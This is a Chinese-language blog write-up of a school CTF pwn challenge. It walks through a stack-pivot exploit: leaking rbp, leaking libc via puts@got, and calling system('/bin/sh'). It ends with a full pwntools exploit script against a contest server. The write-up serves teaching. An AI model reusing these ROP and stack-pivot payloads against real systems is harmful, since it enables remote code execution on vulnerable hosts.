记一道校内pwn题——stack1

关于栈迁移的一道题

准备步骤

1
2
3
4
5
6
7
checksec stack1

# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x3fe000)

ida检查,发现漏洞,在sub_400676()中有16个字节的溢出

1
2
3
4
5
6
7
8
9
int sub_400676()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF

memset(buf, 0, sizeof(buf));
putchar('>');
read(0, buf, 96uLL); //溢出
return puts(buf);
}

但这是64为程序,且溢出只能覆盖rbp和返回地址,这就导致不能一次性构造参数并调用。我们可以考虑进行栈迁移,把执行流的栈转到别的地方。

栈迁移原理

条件

栈迁移主要是针对溢出长度不够,无法进行传参(比如本题只够覆盖rbp和返回地址),但需要可以覆盖到rbp以迁移栈。

关键指令 leave;ret;

leave 指令可以看成两条指令 mov rsp,rbp; pop rbp; ,可以看出这条指令原本是用来还原调用函数前的栈帧的,但如果我们提前改变rbp 的值,譬如,改成比现在 rsp 地址还低的位置(即栈的高处),那么在执行语句之后栈帧就在上方,可以利用之前在栈中写入的数据(题中的 buffer )控制程序流程了。

如果不清楚的话,可再看看这篇文章:栈迁移的原理&&实战运用

构造payload

泄露rbp

因为我们要修改rbp,所以我们要先知道原来rbp的值,再在其基础上进一步修改。

1
2
3
4
print(conn.recv(1))
payload1=b"a"*80
conn.send(payload1)
old_rbp_addr=int.from_bytes(conn.recv()[80:86],'little')# >

如果rbp的低位中没有\x00的话,puts就会将80个a和rbp打印出来,截取6个字符是因为64位的栈从0x7f?????????? 开始,前面有两个\x00字符,puts打印不出来

泄露libc基址

我们gdb一下

1
2
3
4
5
gdb stack1
b *0x0000000000400710 #这是主循环函数sub_400676()的入口
r
s #单步进入函数sub_400676()
n
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
0x400676 push rbp
► 0x400677 mov rbp, rsp
0x40067a sub rsp, 0x50
0x40067e lea rdx, [rbp - 0x50]
0x400682 mov eax, 0
0x400687 mov ecx, 0xa
0x40068c mov rdi, rdx
0x40068f rep stosq qword ptr [rdi], rax

0x40068f rep stosq qword ptr [rdi], rax

───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd7c0 —▸ 0x7fffffffd7e0 —▸ 0x400730 ◂— 0x41ff894156415741
01:0008│ 0x7fffffffd7c8 —▸ 0x400715 ◂— 0xb890f0eb0274c085
02:0010│ 0x7fffffffd7d0 —▸ 0x7fffffffd8c8 —▸ 0x7fffffffdb6f ◂— '/home/kali/ctf/pwn/q29_stack1/stack1'
03:0018│ 0x7fffffffd7d8 ◂— 0x100000000
04:0020│ rbp 0x7fffffffd7e0 —▸ 0x400730 ◂— 0x41ff894156415741
05:0028│ 0x7fffffffd7e8 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7fffffffd7f0 ◂— 0x1
07:0038│ 0x7fffffffd7f8 —▸ 0x7fffffffd8c8 —▸ 0x7fffffffdb6f ◂— '/home/kali/ctf/pwn/q29_stack1/stack1'

其中0x7fffffffd7c8 是新建栈帧返回地址所在,0x7fffffffd7c0 是原来rbp地址所在,值为0x7fffffffd7e0 再加上buffer的0x50大小,就可以计算新rbp及栈顶的位置了

1
2
3
4
5
6
now_rbp_addr=old_rbp_addr-0x20
now_esp_addr=now_rbp_addr-0x50
return_addr2=0x0000000000400710 #call rbp_3| rbp_2 normal_ret
payload2=p64(now_rbp_addr)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(return_addr2)+b'a'*(0x50-0x8*5)+p64(now_esp_addr)+p64(leave_addr)
conn.send(payload2)
puts_addr=int.from_bytes(conn.recvuntil(b'\x7f\x0a\x3e')[-8:-2],'little')

这个payload将新栈帧转到原来的栈顶并执行传参和对puts的调用

Pwn it!

计算binsh和system真实地址

1
2
3
libcbase=puts_addr-puts_libc
abinsh_addr=libcbase+abinsh_libc
system_addr=libcbase+system_libc

与上一步相同的方法构造新栈帧

1
2
3
4
5
now_ebp_addr-=56
now_esp_addr=now_ebp_addr-0x50
payload3=b'a'*8+p64(rdi_addr)+p64(abinsh_addr)+p64(system_addr)+b'a'*(0x50-0x8*4)+p64(now_esp_addr)+p64(leave_addr) #前面8个a是新的rbp,但不过这个rbp已经没用了,所以可以随便填
conn.send(payload3)
conn.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
ip="124.16.75.117"
port=51001
conn=connect(ip,port)
#conn=process("./pwn/q29_stack1/stack1")
#conn=gdb.debug('./pwn/q29_stack1/stack1','b *0x00000000004006C4')
libc=ELF('./pwn/q29_stack1/libc.so.6')
puts_libc=libc.sym['puts']
system_libc=libc.sym['system']
abinsh_libc=libc.search(b'/bin/sh').__next__()
context.log_level="debug"

leave_addr=0x00000000004006BE
rdi_addr=0x0000000000400793
puts_got=0x0000000000601020
puts_plt=0x0000000000400530

#***************1***************
print("111111111111111111111111")
print(conn.recv(1))
payload1=b"a"*80
conn.send(payload1)
old_ebp_addr=int.from_bytes(conn.recv()[80:86],'little')# > is here
print(hex(old_ebp_addr))

#***************2***************
print("222222222222222222222222")
now_ebp_addr=old_ebp_addr-0x20
now_esp_addr=now_ebp_addr-0x50
return_addr2=0x0000000000400710 #call ebp_3| ebp_2 normal_ret
payload2=p64(now_ebp_addr)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(return_addr2)+b'a'*(0x50-0x8*5)+p64(now_esp_addr)+p64(leave_addr)
conn.send(payload2)
puts_addr=int.from_bytes(conn.recvuntil(b'\x7f\x0a\x3e')[-8:-2],'little')

libcbase=puts_addr-puts_libc
abinsh_addr=libcbase+abinsh_libc
system_addr=libcbase+system_libc
print(hex(puts_addr),hex(libcbase))


#****************3***************
print("33333333333333333333333")
now_ebp_addr-=56
now_esp_addr=now_ebp_addr-0x50
payload3=b'a'*8+p64(rdi_addr)+p64(abinsh_addr)+p64(system_addr)+b'a'*(0x50-0x8*4)+p64(now_esp_addr)+p64(leave_addr)
conn.send(payload3)
conn.interactive()

记一道校内pwn题——stack1
https://dx3906999.github.io/2024/03/01/ucas-ctf-pwn-stack1/
作者
dx3qOb
发布于
2024年3月1日
许可协议